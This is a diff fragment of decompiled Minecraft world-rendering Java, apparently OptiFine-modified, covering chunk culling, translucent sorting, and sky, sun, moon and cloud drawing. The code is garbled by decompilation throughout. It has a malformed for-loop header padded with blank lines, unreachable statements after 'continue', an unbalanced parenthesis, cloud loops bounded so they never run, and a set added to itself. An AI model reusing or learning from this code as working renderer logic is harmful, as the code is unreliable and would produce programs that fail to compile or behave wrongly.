+            if ((var45 != null) && (camera.isBoundingBoxInFrustum(field_178591_c)))
+            {
+              var45.func_178577_a(frameCount);
+              var38.add(new ContainerLocalRenderInformation(var45, null, 0, null));
+            }
+          }
+        }
+      }
+      else
+      {
+        boolean var42 = false;
+        ContainerLocalRenderInformation var44 = new ContainerLocalRenderInformation(var20, null, 0, null);
+        Set var451 = SET_ALL_FACINGS;
+        
+        if ((!var451.isEmpty()) && (var451.size() == 1))
+        {
+          Vector3f var47 = func_174962_a(viewEntity, partialTicks);
+          EnumFacing var31 = EnumFacing.func_176737_a(x, y, z).getOpposite();
+          var451.remove(var31);
+        }
+        
+        if (var451.isEmpty())
+        {
+          var42 = true;
+        }
+        
+        if ((var42) && (!playerSpectator))
+        {
+          glRenderLists.add(var44);
+        }
+        else
+        {
+          if ((playerSpectator) && (theWorld.getBlockState(var351).getBlock().isOpaqueCube()))
+          {
+            var40 = false;
+          }
+          
+          var20.func_178577_a(frameCount);
+          var38.add(var44);
+        }
+      }
+      
+      EnumFacing[] var431 = EnumFacing.VALUES;
+      int var30 = var431.length;
+      int var49;
+      for (; !var38.isEmpty(); 
+          
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          var49 < var30)
+      {
+        ContainerLocalRenderInformation var361 = (ContainerLocalRenderInformation)var38.poll();
+        RenderChunk var371 = field_178036_a;
+        EnumFacing var461 = field_178034_b;
+        BlockPos var48 = var371.func_178568_j();
+        
+        if ((!field_178590_b.func_178489_a()) || (var371.func_178569_m()))
+        {
+          glRenderLists.add(var361);
+        }
+        
+        if (ChunkUtils.hasEntities(theWorld.getChunkFromBlockCoords(var48)))
+        {
+          renderInfosEntities.add(var361);
+        }
+        
+        if (var371.func_178571_g().func_178485_b().size() > 0)
+        {
+          renderInfosTileEntities.add(var361);
+        }
+        
+        var49 = 0; continue;
+        
+        EnumFacing var32 = var431[var49];
+        
+        if (((!var40) || (!field_178035_c.contains(var32.getOpposite()))) && ((!var40) || (var461 == null) || (var371.func_178571_g().func_178495_a(var461.getOpposite(), var32))))
+        {
+          RenderChunk var33 = getRenderChunkOffset(var351, var371, var32);
+          
+          if ((var33 != null) && (var33.func_178577_a(frameCount)) && (camera.isBoundingBoxInFrustum(field_178591_c)))
+          {
+            ContainerLocalRenderInformation var34 = new ContainerLocalRenderInformation(var33, var32, field_178032_d + 1, null);
+            field_178035_c.addAll(field_178035_c);
+            field_178035_c.add(var32);
+            var38.add(var34);
+          }
+        }
+        var49++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (field_175002_T)
+    {
+      func_174984_a(var13, var15, var17);
+      field_175002_T = false;
+    }
+    
+    Lagometer.timerVisibility.end();
+    
+    if (Shaders.isShadowPass)
+    {
+      Shaders.mcProfilerEndSection();
+    }
+    else
+    {
+      field_174995_M.func_178513_e();
+      Set var391 = field_175009_l;
+      field_175009_l = Sets.newLinkedHashSet();
+      Iterator var411 = glRenderLists.iterator();
+      Lagometer.timerChunkUpdate.start();
+      
+      while (var411.hasNext())
+      {
+        ContainerLocalRenderInformation var361 = (ContainerLocalRenderInformation)var411.next();
+        RenderChunk var371 = field_178036_a;
+        
+        if ((var371.func_178569_m()) || (var391.contains(var371)))
+        {
+          displayListEntitiesDirty = true;
+          
+          if (func_174983_a(var21, field_178036_a))
+          {
+            if (!var371.isPlayerUpdate())
+            {
+              chunksToUpdateForced.add(var371);
+            }
+            else
+            {
+              mc.mcProfiler.startSection("build near");
+              field_174995_M.func_178505_b(var371);
+              var371.func_178575_a(false);
+              mc.mcProfiler.endSection();
+            }
+            
+          }
+          else {
+            field_175009_l.add(var371);
+          }
+        }
+      }
+      
+      Lagometer.timerChunkUpdate.end();
+      field_175009_l.addAll(var391);
+      mc.mcProfiler.endSection();
+    }
+  }
+  
+  private boolean func_174983_a(BlockPos p_174983_1_, RenderChunk p_174983_2_)
+  {
+    BlockPos var3 = p_174983_2_.func_178568_j();
+    return MathHelper.abs_int(p_174983_1_.getX() - var3.getX()) <= 16;
+  }
+  
+  private Set func_174978_c(BlockPos p_174978_1_)
+  {
+    VisGraph var2 = new VisGraph();
+    BlockPos var3 = new BlockPos(p_174978_1_.getX() >> 4 << 4, p_174978_1_.getY() >> 4 << 4, p_174978_1_.getZ() >> 4 << 4);
+    Chunk var4 = theWorld.getChunkFromBlockCoords(var3);
+    Iterator var5 = BlockPos.getAllInBoxMutable(var3, var3.add(15, 15, 15)).iterator();
+    
+    while (var5.hasNext())
+    {
+      BlockPos.MutableBlockPos var6 = (BlockPos.MutableBlockPos)var5.next();
+      
+      if (var4.getBlock(var6).isOpaqueCube())
+      {
+        var2.func_178606_a(var6);
+      }
+    }
+    return var2.func_178609_b(p_174978_1_);
+  }
+  
+  private RenderChunk getRenderChunkOffset(BlockPos p_174973_1_, RenderChunk renderChunk, EnumFacing p_174973_3_)
+  {
+    BlockPos var4 = renderChunk.getPositionOffset16(p_174973_3_);
+    
+    if ((var4.getY() >= 0) && (var4.getY() < 256))
+    {
+      int dx = MathHelper.abs_int(p_174973_1_.getX() - var4.getX());
+      int dz = MathHelper.abs_int(p_174973_1_.getZ() - var4.getZ());
+      
+      if (Config.isFogOff())
+      {
+        if ((dx > renderDistance) || (dz > renderDistance))
+        {
+          return null;
+        }
+      }
+      else
+      {
+        int distSq = dx * dx + dz * dz;
+        
+        if (distSq > renderDistanceSq)
+        {
+          return null;
+        }
+      }
+      
+      return field_175008_n.func_178161_a(var4);
+    }
+    
+
+    return null;
+  }
+  
+
+  private void func_174984_a(double p_174984_1_, double p_174984_3_, double p_174984_5_)
+  {
+    field_175001_U = new ClippingHelperImpl();
+    ((ClippingHelperImpl)field_175001_U).init();
+    Matrix4f var7 = new Matrix4f(field_175001_U.field_178626_c);
+    var7.transpose();
+    Matrix4f var8 = new Matrix4f(field_175001_U.field_178625_b);
+    var8.transpose();
+    Matrix4f var9 = new Matrix4f();
+    var9.mul(var8, var7);
+    var9.invert();
+    field_175003_W.x = p_174984_1_;
+    field_175003_W.y = p_174984_3_;
+    field_175003_W.z = p_174984_5_;
+    field_175004_V[0] = new Vector4f(-1.0F, -1.0F, -1.0F, 1.0F);
+    field_175004_V[1] = new Vector4f(1.0F, -1.0F, -1.0F, 1.0F);
+    field_175004_V[2] = new Vector4f(1.0F, 1.0F, -1.0F, 1.0F);
+    field_175004_V[3] = new Vector4f(-1.0F, 1.0F, -1.0F, 1.0F);
+    field_175004_V[4] = new Vector4f(-1.0F, -1.0F, 1.0F, 1.0F);
+    field_175004_V[5] = new Vector4f(1.0F, -1.0F, 1.0F, 1.0F);
+    field_175004_V[6] = new Vector4f(1.0F, 1.0F, 1.0F, 1.0F);
+    field_175004_V[7] = new Vector4f(-1.0F, 1.0F, 1.0F, 1.0F);
+    
+    for (int var10 = 0; var10 < 8; var10++)
+    {
+      var9.transform(field_175004_V[var10]);
+      field_175004_V[var10].x /= field_175004_V[var10].w;
+      field_175004_V[var10].y /= field_175004_V[var10].w;
+      field_175004_V[var10].z /= field_175004_V[var10].w;
+      field_175004_V[var10].w = 1.0F;
+    }
+  }
+  
+  protected Vector3f func_174962_a(Entity entityIn, double partialTicks)
+  {
+    float var4 = (float)(prevRotationPitch + (rotationPitch - prevRotationPitch) * partialTicks);
+    float var5 = (float)(prevRotationYaw + (rotationYaw - prevRotationYaw) * partialTicks);
+    
+    if (getMinecraftgameSettings.thirdPersonView == 2)
+    {
+      var4 += 180.0F;
+    }
+    
+    float var6 = MathHelper.cos(-var5 * 0.017453292F - 3.1415927F);
+    float var7 = MathHelper.sin(-var5 * 0.017453292F - 3.1415927F);
+    float var8 = -MathHelper.cos(-var4 * 0.017453292F);
+    float var9 = MathHelper.sin(-var4 * 0.017453292F);
+    return new Vector3f(var7 * var8, var9, var6 * var8);
+  }
+  
+
+  public int func_174977_a(EnumWorldBlockLayer blockLayerIn, double partialTicks, int pass, Entity entityIn)
+  {
+    
+    if (blockLayerIn == EnumWorldBlockLayer.TRANSLUCENT)
+    {
+      mc.mcProfiler.startSection("translucent_sort");
+      double var15 = posX - prevRenderSortX;
+      double var16 = posY - prevRenderSortY;
+      double var17 = posZ - prevRenderSortZ;
+      
+      if (var15 * var15 + var16 * var16 + var17 * var17 > 1.0D)
+      {
+        prevRenderSortX = posX;
+        prevRenderSortY = posY;
+        prevRenderSortZ = posZ;
+        int var18 = 0;
+        Iterator var13 = glRenderLists.iterator();
+        chunksToResortTransparency.clear();
+        
+        while (var13.hasNext())
+        {
+          ContainerLocalRenderInformation var14 = (ContainerLocalRenderInformation)var13.next();
+          
+          if ((field_178036_a.field_178590_b.func_178492_d(blockLayerIn)) && (var18++ < 15))
+          {
+            chunksToResortTransparency.add(field_178036_a);
+          }
+        }
+      }
+      
+      mc.mcProfiler.endSection();
+    }
+    
+    mc.mcProfiler.startSection("filterempty");
+    int var151 = 0;
+    boolean var7 = blockLayerIn == EnumWorldBlockLayer.TRANSLUCENT;
+    int var161 = var7 ? glRenderLists.size() - 1 : 0;
+    int var9 = var7 ? -1 : glRenderLists.size();
+    int var171 = var7 ? -1 : 1;
+    
+    for (int var11 = var161; var11 != var9; var11 += var171)
+    {
+      RenderChunk var181 = glRenderLists.get(var11)).field_178036_a;
+      
+      if (!var181.func_178571_g().func_178491_b(blockLayerIn))
+      {
+        var151++;
+        field_174996_N.func_178002_a(var181, blockLayerIn);
+      }
+    }
+    
+    if (var151 == 0)
+    {
+      mc.mcProfiler.endSection();
+      return var151;
+    }
+    
+
+    if ((Config.isFogOff()) && (mc.entityRenderer.fogStandard))
+    {
+      GlStateManager.disableFog();
+    }
+    
+    mc.mcProfiler.endStartSection("render_" + blockLayerIn);
+    func_174982_a(blockLayerIn);
+    mc.mcProfiler.endSection();
+    return var151;
+  }
+  
+
+  private void func_174982_a(EnumWorldBlockLayer blockLayerIn)
+  {
+    mc.entityRenderer.func_180436_i();
+    
+    if (OpenGlHelper.func_176075_f())
+    {
+      GL11.glEnableClientState(32884);
+      OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+      GL11.glEnableClientState(32888);
+      OpenGlHelper.setClientActiveTexture(OpenGlHelper.lightmapTexUnit);
+      GL11.glEnableClientState(32888);
+      OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+      GL11.glEnableClientState(32886);
+    }
+    
+    if (Config.isShaders())
+    {
+      ShadersRender.preRenderChunkLayer();
+    }
+    
+    field_174996_N.func_178001_a(blockLayerIn);
+    
+    if (Config.isShaders())
+    {
+      ShadersRender.postRenderChunkLayer();
+    }
+    
+    if (OpenGlHelper.func_176075_f())
+    {
+      List var2 = DefaultVertexFormats.field_176600_a.func_177343_g();
+      Iterator var3 = var2.iterator();
+      
+      while (var3.hasNext())
+      {
+        VertexFormatElement var4 = (VertexFormatElement)var3.next();
+        VertexFormatElement.EnumUseage var5 = var4.func_177375_c();
+        int var6 = var4.func_177369_e();
+        
+        switch (SwitchEnumUseage.field_178037_a[var5.ordinal()])
+        {
+        case 1: 
+          GL11.glDisableClientState(32884);
+          break;
+        
+        case 2: 
+          OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit + var6);
+          GL11.glDisableClientState(32888);
+          OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+          break;
+        
+        case 3: 
+          GL11.glDisableClientState(32886);
+          GlStateManager.func_179117_G();
+        }
+        
+      }
+    }
+    mc.entityRenderer.func_175072_h();
+  }
+  
+  private void func_174965_a(Iterator p_174965_1_)
+  {
+    while (p_174965_1_.hasNext())
+    {
+      DestroyBlockProgress var2 = (DestroyBlockProgress)p_174965_1_.next();
+      int var3 = var2.getCreationCloudUpdateTick();
+      
+      if (cloudTickCounter - var3 > 400)
+      {
+        p_174965_1_.remove();
+      }
+    }
+  }
+  
+  public void updateClouds()
+  {
+    if ((Config.isShaders()) && (Keyboard.isKeyDown(61)) && (Keyboard.isKeyDown(19)))
+    {
+      Shaders.uninit();
+    }
+    
+    cloudTickCounter += 1;
+    
+    if (cloudTickCounter % 20 == 0)
+    {
+      func_174965_a(damagedBlocks.values().iterator());
+    }
+  }
+  
+  private void func_180448_r()
+  {
+    if (Config.isSkyEnabled())
+    {
+      GlStateManager.disableFog();
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      RenderHelper.disableStandardItemLighting();
+      GlStateManager.depthMask(false);
+      renderEngine.bindTexture(locationEndSkyPng);
+      Tessellator var1 = Tessellator.getInstance();
+      WorldRenderer var2 = var1.getWorldRenderer();
+      
+      for (int var3 = 0; var3 < 6; var3++)
+      {
+        GlStateManager.pushMatrix();
+        
+        if (var3 == 1)
+        {
+          GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+        }
+        
+        if (var3 == 2)
+        {
+          GlStateManager.rotate(-90.0F, 1.0F, 0.0F, 0.0F);
+        }
+        
+        if (var3 == 3)
+        {
+          GlStateManager.rotate(180.0F, 1.0F, 0.0F, 0.0F);
+        }
+        
+        if (var3 == 4)
+        {
+          GlStateManager.rotate(90.0F, 0.0F, 0.0F, 1.0F);
+        }
+        
+        if (var3 == 5)
+        {
+          GlStateManager.rotate(-90.0F, 0.0F, 0.0F, 1.0F);
+        }
+        
+        var2.startDrawingQuads();
+        var2.func_178991_c(2631720);
+        var2.addVertexWithUV(-100.0D, -100.0D, -100.0D, 0.0D, 0.0D);
+        var2.addVertexWithUV(-100.0D, -100.0D, 100.0D, 0.0D, 16.0D);
+        var2.addVertexWithUV(100.0D, -100.0D, 100.0D, 16.0D, 16.0D);
+        var2.addVertexWithUV(100.0D, -100.0D, -100.0D, 16.0D, 0.0D);
+        var1.draw();
+        GlStateManager.popMatrix();
+      }
+      
+      GlStateManager.depthMask(true);
+      GlStateManager.func_179098_w();
+      GlStateManager.enableAlpha();
+    }
+  }
+  
+  public void func_174976_a(float partialTicks, int pass)
+  {
+    if (Reflector.ForgeWorldProvider_getSkyRenderer.exists())
+    {
+      WorldProvider isShaders = mc.theWorld.provider;
+      Object var3 = Reflector.call(isShaders, Reflector.ForgeWorldProvider_getSkyRenderer, new Object[0]);
+      
+      if (var3 != null)
+      {
+        Reflector.callVoid(var3, Reflector.IRenderHandler_render, new Object[] { Float.valueOf(partialTicks), theWorld, mc });
+        return;
+      }
+    }
+    
+    if (mc.theWorld.provider.getDimensionId() == 1)
+    {
+      func_180448_r();
+    }
+    else if (mc.theWorld.provider.isSurfaceWorld())
+    {
+      GlStateManager.func_179090_x();
+      boolean var231 = Config.isShaders();
+      
+      if (var231)
+      {
+        Shaders.disableTexture2D();
+      }
+      
+      Vec3 var241 = theWorld.getSkyColor(mc.func_175606_aa(), partialTicks);
+      var241 = CustomColors.getSkyColor(var241, mc.theWorld, mc.func_175606_aa().posX, mc.func_175606_aa().posY + 1.0D, mc.func_175606_aa().posZ);
+      
+      if (var231)
+      {
+        Shaders.setSkyColor(var241);
+      }
+      
+      float var4 = (float)xCoord;
+      float var5 = (float)yCoord;
+      float var6 = (float)zCoord;
+      
+      if (pass != 2)
+      {
+        float var23 = (var4 * 30.0F + var5 * 59.0F + var6 * 11.0F) / 100.0F;
+        float var24 = (var4 * 30.0F + var5 * 70.0F) / 100.0F;
+        float var25 = (var4 * 30.0F + var6 * 70.0F) / 100.0F;
+        var4 = var23;
+        var5 = var24;
+        var6 = var25;
+      }
+      
+      GlStateManager.color(var4, var5, var6);
+      Tessellator var251 = Tessellator.getInstance();
+      WorldRenderer var261 = var251.getWorldRenderer();
+      GlStateManager.depthMask(false);
+      GlStateManager.enableFog();
+      
+      if (var231)
+      {
+        Shaders.enableFog();
+      }
+      
+      GlStateManager.color(var4, var5, var6);
+      
+      if (var231)
+      {
+        Shaders.preSkyList();
+      }
+      
+      if (Config.isSkyEnabled())
+      {
+        if (field_175005_X)
+        {
+          field_175012_t.func_177359_a();
+          GL11.glEnableClientState(32884);
+          GL11.glVertexPointer(3, 5126, 12, 0L);
+          field_175012_t.func_177358_a(7);
+          field_175012_t.func_177361_b();
+          GL11.glDisableClientState(32884);
+        }
+        else
+        {
+          GlStateManager.callList(glSkyList);
+        }
+      }
+      
+      GlStateManager.disableFog();
+      
+      if (var231)
+      {
+        Shaders.disableFog();
+      }
+      
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      RenderHelper.disableStandardItemLighting();
+      float[] var27 = theWorld.provider.calcSunriseSunsetColors(theWorld.getCelestialAngle(partialTicks), partialTicks);
+      
+
+
+
+
+
+
+
+
+
+      if ((var27 != null) && (Config.isSunMoonEnabled()))
+      {
+        GlStateManager.func_179090_x();
+        
+        if (var231)
+        {
+          Shaders.disableTexture2D();
+        }
+        
+        GlStateManager.shadeModel(7425);
+        GlStateManager.pushMatrix();
+        GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+        GlStateManager.rotate(MathHelper.sin(theWorld.getCelestialAngleRadians(partialTicks)) < 0.0F ? 180.0F : 0.0F, 0.0F, 0.0F, 1.0F);
+        GlStateManager.rotate(90.0F, 0.0F, 0.0F, 1.0F);
+        float var10 = var27[0];
+        float var11 = var27[1];
+        float var12 = var27[2];
+        
+        if (pass != 2)
+        {
+          float var13 = (var10 * 30.0F + var11 * 59.0F + var12 * 11.0F) / 100.0F;
+          float var14 = (var10 * 30.0F + var11 * 70.0F) / 100.0F;
+          float var22 = (var10 * 30.0F + var12 * 70.0F) / 100.0F;
+          var10 = var13;
+          var11 = var14;
+          var12 = var22;
+        }
+        
+        var261.startDrawing(6);
+        var261.func_178960_a(var10, var11, var12, var27[3]);
+        var261.addVertex(0.0D, 100.0D, 0.0D);
+        boolean var26 = true;
+        var261.func_178960_a(var27[0], var27[1], var27[2], 0.0F);
+        
+        for (int var31 = 0; var31 <= 16; var31++)
+        {
+          float var22 = var31 * 3.1415927F * 2.0F / 16.0F;
+          float var18 = MathHelper.sin(var22);
+          float var19 = MathHelper.cos(var22);
+          var261.addVertex(var18 * 120.0F, var19 * 120.0F, -var19 * 40.0F * var27[3]);
+        }
+        
+        var251.draw();
+        GlStateManager.popMatrix();
+        GlStateManager.shadeModel(7424);
+      }
+      
+      GlStateManager.func_179098_w();
+      
+      if (var231)
+      {
+        Shaders.enableTexture2D();
+      }
+      
+      GlStateManager.tryBlendFuncSeparate(770, 1, 1, 0);
+      GlStateManager.pushMatrix();
+      float var10 = 1.0F - theWorld.getRainStrength(partialTicks);
+      float var11 = 0.0F;
+      float var12 = 0.0F;
+      float var13 = 0.0F;
+      GlStateManager.color(1.0F, 1.0F, 1.0F, var10);
+      GlStateManager.translate(0.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(-90.0F, 0.0F, 1.0F, 0.0F);
+      CustomSky.renderSky(theWorld, renderEngine, theWorld.getCelestialAngle(partialTicks), var10);
+      
+      if (var231)
+      {
+        Shaders.preCelestialRotate();
+      }
+      
+      GlStateManager.rotate(theWorld.getCelestialAngle(partialTicks) * 360.0F, 1.0F, 0.0F, 0.0F);
+      
+      if (var231)
+      {
+        Shaders.postCelestialRotate();
+      }
+      
+      if (Config.isSunMoonEnabled())
+      {
+        float var14 = 30.0F;
+        renderEngine.bindTexture(locationSunPng);
+        var261.startDrawingQuads();
+        var261.addVertexWithUV(-var14, 100.0D, -var14, 0.0D, 0.0D);
+        var261.addVertexWithUV(var14, 100.0D, -var14, 1.0D, 0.0D);
+        var261.addVertexWithUV(var14, 100.0D, var14, 1.0D, 1.0D);
+        var261.addVertexWithUV(-var14, 100.0D, var14, 0.0D, 1.0D);
+        var251.draw();
+        var14 = 20.0F;
+        renderEngine.bindTexture(locationMoonPhasesPng);
+        int var28 = theWorld.getMoonPhase();
+        int var29 = var28 % 4;
+        int var31 = var28 / 4 % 2;
+        float var18 = (var29 + 0) / 4.0F;
+        float var19 = (var31 + 0) / 2.0F;
+        float var20 = (var29 + 1) / 4.0F;
+        float var21 = (var31 + 1) / 2.0F;
+        var261.startDrawingQuads();
+        var261.addVertexWithUV(-var14, -100.0D, var14, var20, var21);
+        var261.addVertexWithUV(var14, -100.0D, var14, var18, var21);
+        var261.addVertexWithUV(var14, -100.0D, -var14, var18, var19);
+        var261.addVertexWithUV(-var14, -100.0D, -var14, var20, var19);
+        var251.draw();
+      }
+      
+      GlStateManager.func_179090_x();
+      
+      if (var231)
+      {
+        Shaders.disableTexture2D();
+      }
+      
+      float var22 = theWorld.getStarBrightness(partialTicks) * var10;
+      
+      if ((var22 > 0.0F) && (Config.isStarsEnabled()) && (!CustomSky.hasSkyLayers(theWorld)))
+      {
+        GlStateManager.color(var22, var22, var22, var22);
+        
+        if (field_175005_X)
+        {
+          field_175013_s.func_177359_a();
+          GL11.glEnableClientState(32884);
+          GL11.glVertexPointer(3, 5126, 12, 0L);
+          field_175013_s.func_177358_a(7);
+          field_175013_s.func_177361_b();
+          GL11.glDisableClientState(32884);
+        }
+        else
+        {
+          GlStateManager.callList(starGLCallList);
+        }
+      }
+      
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.disableBlend();
+      GlStateManager.enableAlpha();
+      GlStateManager.enableFog();
+      
+      if (var231)
+      {
+        Shaders.enableFog();
+      }
+      
+      GlStateManager.popMatrix();
+      GlStateManager.func_179090_x();
+      
+      if (var231)
+      {
+        Shaders.disableTexture2D();
+      }
+      
+      GlStateManager.color(0.0F, 0.0F, 0.0F);
+      double var30 = mc.thePlayer.func_174824_e(partialTicks).yCoord - theWorld.getHorizon();
+      
+      if (var30 < 0.0D)
+      {
+        GlStateManager.pushMatrix();
+        GlStateManager.translate(0.0F, 12.0F, 0.0F);
+        
+        if (field_175005_X)
+        {
+          field_175011_u.func_177359_a();
+          GL11.glEnableClientState(32884);
+          GL11.glVertexPointer(3, 5126, 12, 0L);
+          field_175011_u.func_177358_a(7);
+          field_175011_u.func_177361_b();
+          GL11.glDisableClientState(32884);
+        }
+        else
+        {
+          GlStateManager.callList(glSkyList2);
+        }
+        
+        GlStateManager.popMatrix();
+        var12 = 1.0F;
+        var13 = -(float)(var30 + 65.0D);
+        float var14 = -1.0F;
+        var261.startDrawingQuads();
+        var261.func_178974_a(0, 255);
+        var261.addVertex(-1.0D, var13, 1.0D);
+        var261.addVertex(1.0D, var13, 1.0D);
+        var261.addVertex(1.0D, -1.0D, 1.0D);
+        var261.addVertex(-1.0D, -1.0D, 1.0D);
+        var261.addVertex(-1.0D, -1.0D, -1.0D);
+        var261.addVertex(1.0D, -1.0D, -1.0D);
+        var261.addVertex(1.0D, var13, -1.0D);
+        var261.addVertex(-1.0D, var13, -1.0D);
+        var261.addVertex(1.0D, -1.0D, -1.0D);
+        var261.addVertex(1.0D, -1.0D, 1.0D);
+        var261.addVertex(1.0D, var13, 1.0D);
+        var261.addVertex(1.0D, var13, -1.0D);
+        var261.addVertex(-1.0D, var13, -1.0D);
+        var261.addVertex(-1.0D, var13, 1.0D);
+        var261.addVertex(-1.0D, -1.0D, 1.0D);
+        var261.addVertex(-1.0D, -1.0D, -1.0D);
+        var261.addVertex(-1.0D, -1.0D, -1.0D);
+        var261.addVertex(-1.0D, -1.0D, 1.0D);
+        var261.addVertex(1.0D, -1.0D, 1.0D);
+        var261.addVertex(1.0D, -1.0D, -1.0D);
+        var251.draw();
+      }
+      
+      if (theWorld.provider.isSkyColored())
+      {
+        GlStateManager.color(var4 * 0.2F + 0.04F, var5 * 0.2F + 0.04F, var6 * 0.6F + 0.1F);
+      }
+      else
+      {
+        GlStateManager.color(var4, var5, var6);
+      }
+      
+      if (mc.gameSettings.renderDistanceChunks <= 4)
+      {
+        GlStateManager.color(mc.entityRenderer.field_175080_Q, mc.entityRenderer.field_175082_R, mc.entityRenderer.field_175081_S);
+      }
+      
+      GlStateManager.pushMatrix();
+      GlStateManager.translate(0.0F, -(float)(var30 - 16.0D), 0.0F);
+      
+      if (Config.isSkyEnabled())
+      {
+        GlStateManager.callList(glSkyList2);
+      }
+      
+      GlStateManager.popMatrix();
+      GlStateManager.func_179098_w();
+      
+      if (var231)
+      {
+        Shaders.enableTexture2D();
+      }
+      
+      GlStateManager.depthMask(true);
+    }
+  }
+  
+  public void func_180447_b(float p_180447_1_, int p_180447_2_)
+  {
+    if (!Config.isCloudsOff())
+    {
+      if (Reflector.ForgeWorldProvider_getCloudRenderer.exists())
+      {
+        WorldProvider partialTicks = mc.theWorld.provider;
+        Object var3 = Reflector.call(partialTicks, Reflector.ForgeWorldProvider_getCloudRenderer, new Object[0]);
+        
+        if (var3 != null)
+        {
+          Reflector.callVoid(var3, Reflector.IRenderHandler_render, new Object[] { Float.valueOf(p_180447_1_), theWorld, mc });
+          return;
+        }
+      }
+      
+      if (mc.theWorld.provider.isSurfaceWorld())
+      {
+        if (Config.isShaders())
+        {
+          Shaders.beginClouds();
+        }
+        
+        if (Config.isCloudsFancy())
+        {
+          func_180445_c(p_180447_1_, p_180447_2_);
+        }
+        else
+        {
+          cloudRenderer.prepareToRender(false, cloudTickCounter, p_180447_1_);
+          p_180447_1_ = 0.0F;
+          GlStateManager.disableCull();
+          float var31 = (float)(mc.func_175606_aa().lastTickPosY + (mc.func_175606_aa().posY - mc.func_175606_aa().lastTickPosY) * p_180447_1_);
+          boolean var4 = true;
+          boolean var5 = true;
+          Tessellator var6 = Tessellator.getInstance();
+          WorldRenderer var7 = var6.getWorldRenderer();
+          renderEngine.bindTexture(locationCloudsPng);
+          GlStateManager.enableBlend();
+          GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+          
+          if (cloudRenderer.shouldUpdateGlList())
+          {
+            cloudRenderer.startUpdateGlList();
+            Vec3 var8 = theWorld.getCloudColour(p_180447_1_);
+            float var9 = (float)xCoord;
+            float var10 = (float)yCoord;
+            float var11 = (float)zCoord;
+            
+
+            if (p_180447_2_ != 2)
+            {
+              float var12 = (var9 * 30.0F + var10 * 59.0F + var11 * 11.0F) / 100.0F;
+              float var26 = (var9 * 30.0F + var10 * 70.0F) / 100.0F;
+              float var14 = (var9 * 30.0F + var11 * 70.0F) / 100.0F;
+              var9 = var12;
+              var10 = var26;
+              var11 = var14;
+            }
+            
+            float var12 = 4.8828125E-4F;
+            double var261 = cloudTickCounter + p_180447_1_;
+            double var15 = mc.func_175606_aa().prevPosX + (mc.func_175606_aa().posX - mc.func_175606_aa().prevPosX) * p_180447_1_ + var261 * 0.029999999329447746D;
+            double var17 = mc.func_175606_aa().prevPosZ + (mc.func_175606_aa().posZ - mc.func_175606_aa().prevPosZ) * p_180447_1_;
+            int var19 = MathHelper.floor_double(var15 / 2048.0D);
+            int var20 = MathHelper.floor_double(var17 / 2048.0D);
+            var15 -= var19 * 2048;
+            var17 -= var20 * 2048;
+            float var21 = theWorld.provider.getCloudHeight() - var31 + 0.33F;
+            var21 += mc.gameSettings.ofCloudsHeight * 128.0F;
+            float var22 = (float)(var15 * 4.8828125E-4D);
+            float var23 = (float)(var17 * 4.8828125E-4D);
+            var7.startDrawingQuads();
+            var7.func_178960_a(var9, var10, var11, 0.8F);
+            
+            for (int var24 = 65280; var24 < 256; var24 += 32)
+            {
+              for (int var25 = 65280; var25 < 256; var25 += 32)
+              {
+                var7.addVertexWithUV(var24 + 0, var21, var25 + 32, (var24 + 0) * 4.8828125E-4F + var22, (var25 + 32) * 4.8828125E-4F + var23);
+                var7.addVertexWithUV(var24 + 32, var21, var25 + 32, (var24 + 32) * 4.8828125E-4F + var22, (var25 + 32) * 4.8828125E-4F + var23);
+                var7.addVertexWithUV(var24 + 32, var21, var25 + 0, (var24 + 32) * 4.8828125E-4F + var22, (var25 + 0) * 4.8828125E-4F + var23);
+                var7.addVertexWithUV(var24 + 0, var21, var25 + 0, (var24 + 0) * 4.8828125E-4F + var22, (var25 + 0) * 4.8828125E-4F + var23);
+              }
+            }
+            
+            var6.draw();
+            cloudRenderer.endUpdateGlList();
+          }
+          
+          cloudRenderer.renderGlList();
+          GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+          GlStateManager.disableBlend();
+          GlStateManager.enableCull();
+        }
+        
+        if (Config.isShaders())
+        {
+          Shaders.endClouds();
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean hasCloudFog(double p_72721_1_, double p_72721_3_, double p_72721_5_, float p_72721_7_)
+  {
+    return false;
+  }
+  
+  private void func_180445_c(float p_180445_1_, int p_180445_2_)
+  {
+    cloudRenderer.prepareToRender(true, cloudTickCounter, p_180445_1_);
+    p_180445_1_ = 0.0F;
+    GlStateManager.disableCull();
+    float var3 = (float)(mc.func_175606_aa().lastTickPosY + (mc.func_175606_aa().posY - mc.func_175606_aa().lastTickPosY) * p_180445_1_);
+    Tessellator var4 = Tessellator.getInstance();
+    WorldRenderer var5 = var4.getWorldRenderer();
+    float var6 = 12.0F;
+    float var7 = 4.0F;
+    double var8 = cloudTickCounter + p_180445_1_;
+    double var10 = (mc.func_175606_aa().prevPosX + (mc.func_175606_aa().posX - mc.func_175606_aa().prevPosX) * p_180445_1_ + var8 * 0.029999999329447746D) / 12.0D;
+    double var12 = (mc.func_175606_aa().prevPosZ + (mc.func_175606_aa().posZ - mc.func_175606_aa().prevPosZ) * p_180445_1_) / 12.0D + 0.33000001311302185D;
+    float var14 = theWorld.provider.getCloudHeight() - var3 + 0.33F;
+    var14 += mc.gameSettings.ofCloudsHeight * 128.0F;
+    int var15 = MathHelper.floor_double(var10 / 2048.0D);
+    int var16 = MathHelper.floor_double(var12 / 2048.0D);
+    var10 -= var15 * 2048;
+    var12 -= var16 * 2048;
+    renderEngine.bindTexture(locationCloudsPng);
+    GlStateManager.enableBlend();
